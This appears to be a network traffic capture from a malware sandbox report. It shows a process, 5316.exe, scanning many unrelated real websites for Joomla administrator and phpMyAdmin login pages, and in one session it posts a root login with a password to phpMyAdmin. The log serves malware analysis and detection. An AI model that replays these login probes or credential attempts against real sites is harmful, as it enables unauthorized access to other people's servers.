2023-12-20 02:13:25 UTC	16384	IN	Data Raw: 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 32 31 32 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 22 3e 53 65 61 72 63 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 68 61 Data Ascii: w.texasopendoor.com/">Home</a> </li> <li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-7212"> <a href="/search">Search</a> </li> <li class="ha
2023-12-20 02:13:25 UTC	16384	IN	Data Raw: 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 67 65 6f 72 67 65 74 6f 77 6e 2d 68 6f 6d 65 73 2d 34 30 30 30 30 30 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 47 65 6f 72 67 65 74 6f 77 6e 20 48 6f 6d 65 73 20 24 34 30 30 2c 30 30 30 20 41 6e 64 20 55 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d Data Ascii: xasopendoor.com/georgetown-homes-400000/"><span class="menu-item-subcat-title">Georgetown Homes $400,000 And Up</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page m
2023-12-20 02:13:25 UTC	16384	IN	Data Raw: 77 61 74 65 72 66 72 6f 6e 74 2d 68 6f 6d 65 73 2f 22 3e 3c 73 70 0d 0a 35 62 32 65 0d 0a 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 57 61 74 65 72 66 72 6f 6e 74 20 48 6f 6d 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 38 32 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: waterfront-homes/"><sp5b2ean class="menu-item-subcat-title">Waterfront Homes</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-7824">
2023-12-20 02:13:25 UTC	6995	IN	Data Raw: 6c 6c 62 61 63 6b 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 6c 6f 67 69 6e 2d 77 2d 67 6f 6f 67 6c 65 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 73 69 67 6e 2d 69 6e 2d 67 6f 6f 67 6c 65 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 64 65 66 61 75 6c 74 20 62 74 6e 2d 6c 67 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 47 6f 6f 67 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 67 6f 6f 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 20 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 20 47 6f 6f Data Ascii: llback" value="https://www.texasopendoor.com/phpmyadmin/"> <a id="login-w-google" data-action="sign-in-google" class="btn btn-default btn-lg" href="#" title="Sign In with Google"><span class="fa fa-google"></span> Continue with Goo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	55876	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	484	OUT	GET /administrator/index.php HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.greenlawnfertilizing.com/administrator/
2023-12-20 02:13:25 UTC	769	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/administrator/index.php Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OXWjhfboUqtjtoAbFRkU%2F5OTdvnMm8%2FMzxo0C9q9eJRCUWEzMfunL3pju1fNkUstSoSdbYgP%2FaLB2YYrJaoCRwc6u7XTXE96F2N%2Bd4I2EROOwtZ2F6JXLVpRe3zMEfkr1WdsPXpoUvmYNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dafc8246dc7-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	55889	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	251	OUT	GET /administrator/index.php HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.geoffreynolds.com.au/administrator/
2023-12-20 02:13:25 UTC	468	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 71 Location: https://www.geoffreynolds.com.au/administrator/index.php Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:25 GMT X-Served-By: cache-pdk-kpdk1780141-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038405.133521,VS0,VE26 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:25 UTC	71	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 Data Ascii: Redirecting to https://www.geoffreynolds.com.au/administrator/index.php

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	55885	23.227.38.32	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	587	OUT	GET /administrator/index.php HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip Cookie: secure_customer_sig=; localization=US; _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://artusopastry.com/administrator
2023-12-20 02:13:25 UTC	1281	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Vary: Accept-Encoding Vary: Accept X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Content-Language: en-US X-Liquid-Rendered-At: 2023-12-20T02:13:25.259473542Z Strict-Transport-Security: max-age=7889238 Set-Cookie: localization=US; path=/; expires=Fri, 20 Dec 2024 02:13:25 GMT; SameSite=Lax Set-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:25 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:25 GMT; SameSite=Lax Set-Cookie: _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; Expires=Thu, 19-Dec-24 02:13:25 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; Expires=Wed, 20-Dec-23 02:43:25 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Server-Timing: processing;dur=86 X-Shopify-Stage: production
2023-12-20 02:13:25 UTC	1168	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 2f 63 73 70 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 6e 6f 74 5f 66 6f 75 6e 64 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 5f 73 65 63 74 69 6f 6e 25 32 46 73 68 6f 70 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 65 37 35 30 35 64 Data Ascii: Content-Security-Policy: frame-ancestors 'none'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=e7505d
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 31 30 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 20 20 20 20 2a 20 7b 20 62 6f 72 64 65 72 3a 30 3b 20 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 Data Ascii: 10a8<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>404 Not Found</title> <meta name="referrer" content="never" /> <style type="text/css"> * { border:0; margin:0; padding:0; -moz-box-sizing:border-box; -webkit-box-sizi
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 6f 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 62 6c 6f 63 6b 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 2d 6c 61 72 67 65 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 72 65 71 75 65 73 74 2d 69 64 20 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 70 78 3b 20 66 6f Data Ascii: o { margin-bottom:30px; } .content--block { position:relative; margin-bottom:50px; } .content--desc { margin-bottom:32px; position:relative; } .content--desc-large { font-size:20px; line-height:28px; } .request-id { padding-top:100px; fo
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 69 64 3d 22 77 68 61 74 2d 77 65 6e 74 2d 77 72 6f 6e 67 3f 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 4c 61 79 65 72 47 72 6f 75 70 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 33 31 2e 30 30 30 30 30 30 2c 20 34 34 34 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 77 61 72 6e 69 6e 67 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 20 37 37 2e 30 30 30 30 30 30 29 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 72 6f 75 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 37 2e 35 39 33 2c 30 2e 34 39 32 20 43 31 38 2e 32 31 37 Data Ascii: id="what-went-wrong?" sketch:type="MSLayerGroup" transform="translate(231.000000, 444.000000)"> <g id="warning" transform="translate(0.000000, 77.000000)" sketch:type="MSShapeGroup"> <path d="M17.593,0.492 C18.217
2023-12-20 02:13:25 UTC	165	IN	Data Raw: 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 22 3e 52 65 74 75 72 6e 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 2e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: <li><a href="javascript:history.back()">Return to the previous page.</a></li> </ul> </div> </div> </div> </div></body></html>
2023-12-20 02:13:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	55888	205.178.187.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:25 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=FDA759E0829C3E43BF3A680D3FEA9D99; Path=/; HttpOnly x-envoy-upstream-service-time: 0 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:25 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	56063	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	394	OUT	GET /administrator/index.php HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://lsmnutrition.com/administrator/
2023-12-20 02:13:25 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_R5xpTKAFfcJXLsGc5vh0/HPfiFC985tKBumeu69Js2ejLs1Q4CnZic7kE0an0F64E/z5xIcUIXCqFM7kKJqdiA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:25 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	56112	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	378	OUT	POST /phpmyadmin/index.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip Cookie: phpMyAdmin_https=r05krhip9pivgd16av2t5hbfc9; pma_lang_https=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://entexclusives.com/phpmyadmin/ Content-Length: 152 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:25 UTC	152	OUT	Data Raw: 73 65 74 5f 73 65 73 73 69 6f 6e 3d 72 30 35 6b 72 68 69 70 39 70 69 76 67 64 31 36 61 76 32 74 35 68 62 66 63 39 26 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 72 6f 6f 74 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 3d 53 59 31 31 42 47 25 32 41 26 73 65 72 76 65 72 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e 70 68 70 26 6c 61 6e 67 3d 65 6e 26 74 6f 6b 65 6e 3d 32 63 34 39 32 62 37 66 35 33 36 35 34 64 33 30 34 63 32 66 36 61 34 63 35 30 36 32 37 30 36 63 Data Ascii: set_session=r05krhip9pivgd16av2t5hbfc9&pma_username=root&pma_password=SY11BG%2A&server=1&target=index.php&lang=en&token=2c492b7f53654d304c2f6a4c5062706c
2023-12-20 02:13:25 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: phpMyAdmin_https=sqpl6nqb5iukollei75mlg6dh8; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: pmaAuth-1_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:25 UTC	613	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 35 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:25 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
